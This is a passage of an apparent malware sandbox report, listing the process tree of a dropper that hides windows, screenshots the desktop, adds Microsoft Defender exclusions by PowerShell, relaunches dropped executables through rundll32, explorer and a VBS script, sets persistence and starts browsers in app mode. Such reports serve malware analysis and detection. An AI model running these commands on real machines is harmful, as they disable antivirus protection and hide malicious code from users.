                          powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1783137680406.png\"); $g.Dispose(); $bmp.Dispose()"
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4432
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe""
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2500
                        • C:\Windows\system32\reg.exe
                          reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe"
                          4⤵
                            PID:2940
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688""
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3144
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688"
                            4⤵
                              PID:5800
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1272
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
                              4⤵
                                PID:5772
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe""
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5040
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                4⤵
                                  PID:3608
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe""
                                3⤵
                                • Suspicious use of WriteProcessMemory
                                PID:5512
                                • C:\Windows\system32\reg.exe
                                  reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe"
                                  4⤵
                                    PID:4940
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe' -ErrorAction SilentlyContinue""
                                  3⤵
                                  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                  • Hide Artifacts: Hidden Window
                                  • Hide Artifacts: Ignore Process Interrupts
                                  • Suspicious use of WriteProcessMemory
                                  PID:236
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe' -ErrorAction SilentlyContinue"
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:2716
                                • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                  C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                  3⤵
                                  • Executes dropped EXE
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4640
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe""
                                  3⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2496
                                  • C:\Windows\system32\cmd.exe
                                    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:5372
                                    • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                      5⤵
                                      • Executes dropped EXE
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1960
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe""
                                  3⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3600
                                  • C:\Windows\explorer.exe
                                    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                    4⤵
                                      PID:4180
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe""
                                    3⤵
                                    • System Binary Proxy Execution: Rundll32
                                    PID:2180
                                    • C:\Windows\system32\rundll32.exe
                                      rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                      4⤵
                                      • System Binary Proxy Execution: Rundll32
                                      PID:2740
                                      • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:1144
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe' -WindowStyle Hidden""
                                    3⤵
                                    • Hide Artifacts: Hidden Window
                                    PID:5584
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe' -WindowStyle Hidden"
                                      4⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5888
                                      • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:5184
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137697558.vbs""
                                    3⤵
                                      PID:5096
                                      • C:\Windows\system32\wscript.exe
                                        wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783137697558.vbs"
                                        4⤵
                                          PID:2720
                                          • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_1.exe"
                                            5⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4468
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe' -ErrorAction SilentlyContinue""
                                        3⤵
                                        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                        • Hide Artifacts: Hidden Window
                                        • Hide Artifacts: Ignore Process Interrupts
                                        PID:3800
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe' -ErrorAction SilentlyContinue"
                                          4⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:1380
                                      • C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                        C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137677688\component_2.exe
                                        3⤵
                                        • Drops startup file
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Checks processor information in registry
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:240
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                          4⤵
                                            PID:5084
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                            4⤵
                                              PID:4776
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --app=http://127.0.0.1:52723
                                              4⤵
                                              • Drops file in Windows directory
                                              • Enumerates system info in registry
                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                              PID:3096
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x110,0x134,0x7fff2fb2c728,0x7fff2fb2c734,0x7fff2fb2c740
                                                5⤵
                                                  PID:2836
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1872,i,10947609328240320739,7060786940196047457,524288 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:11
                                                  5⤵
                                                  • System Time Discovery
                                                  PID:4608
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,10174375213803177708,5557074394518722313,262144 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
                                                  5⤵
                                                    PID:4236
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --force-high-res-timeticks=disabled --metrics-shmem-handle=2028,i,1460998011221993385,1224280272478788749,524288 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:13
                                                    5⤵
                                                      PID:2528
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3084,i,12952040978248610168,6282168686364810192,2097152 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:1
                                                      5⤵
                                                        PID:2888
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3088,i,2387958638847493741,2801325224281331418,2097152 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:1
                                                        5⤵
                                                          PID:6580
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3504,i,12246063615472565144,10049580840783748289,2097152 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=3644 /prefetch:9
                                                          5⤵
                                                            PID:4932
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3492,i,12171578462139764872,9817807334825374184,2097152 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
                                                            5⤵
                                                              PID:6652
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\2neewvkf.vzi" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4456,i,4277871221014645215,13772776543051568387,2097152 --field-trial-handle=2344,i,8377467396789325448,1103906873480557907,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:9
                                                              5⤵
                                                                PID:7352
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --app=http://127.0.0.1:53025
                                                              4⤵
                                                              • Drops file in Windows directory
                                                              • Enumerates system info in registry
                                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                              PID:7716
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x2c8,0x7fff3189c188,0x7fff3189c194,0x7fff3189c1a0
                                                                5⤵
                                                                  PID:7756
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,13192104644738866248,13787347934638040752,262144 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:2
                                                                  5⤵
                                                                    PID:7968
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1848,i,10604062662012285258,9642521510263336947,524288 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:11
                                                                    5⤵
                                                                    • System Time Discovery
                                                                    PID:7976
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2416,i,10982159261091192506,5299999864079641305,524288 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:13
                                                                    5⤵
                                                                      PID:8148
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,12464664513227175681,7673779901237119830,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
                                                                      5⤵
                                                                        PID:7300
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3556,i,16069765759072237559,481450710950085677,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=3672 /prefetch:1
                                                                        5⤵
                                                                          PID:7312
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4156,i,9286581278919057543,11072477724669268083,524288 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:14
                                                                          5⤵
                                                                            PID:7540
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4164,i,6008607460721529431,16377126930648917711,524288 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:14
                                                                            5⤵
                                                                              PID:7568
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4168,i,351088612630345270,4907549606299091671,524288 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:14
                                                                              5⤵
                                                                                PID:7592
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4176,i,16432227074382452172,13817399480612467004,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4492 /prefetch:1
                                                                                5⤵
                                                                                  PID:7628
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4200,i,10810795909237946629,1853220027998214530,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4584 /prefetch:9
                                                                                  5⤵
                                                                                    PID:7664
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4224,i,15479325364690809872,9853426015091560158,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4692 /prefetch:1
                                                                                    5⤵
                                                                                      PID:7692
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4256,i,16925096172103059401,9563046174702379586,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:9
                                                                                      5⤵
                                                                                        PID:6012
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4272,i,8446456851585335142,10972848191596377194,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:1
                                                                                        5⤵
                                                                                          PID:7704
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4280,i,14298279564722226741,3185088020108682142,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:9
                                                                                          5⤵
                                                                                            PID:7712
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4292,i,2672410371089814175,2951918619689075825,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:1
                                                                                            5⤵
                                                                                              PID:7748
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\r3g41bdg.ob5" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4344,i,6865381448393915971,10229405053273010438,2097152 --field-trial-handle=2292,i,16201612191070196631,17541637237860751947,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:9
                                                                                              5⤵
                                                                                                PID:7796
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
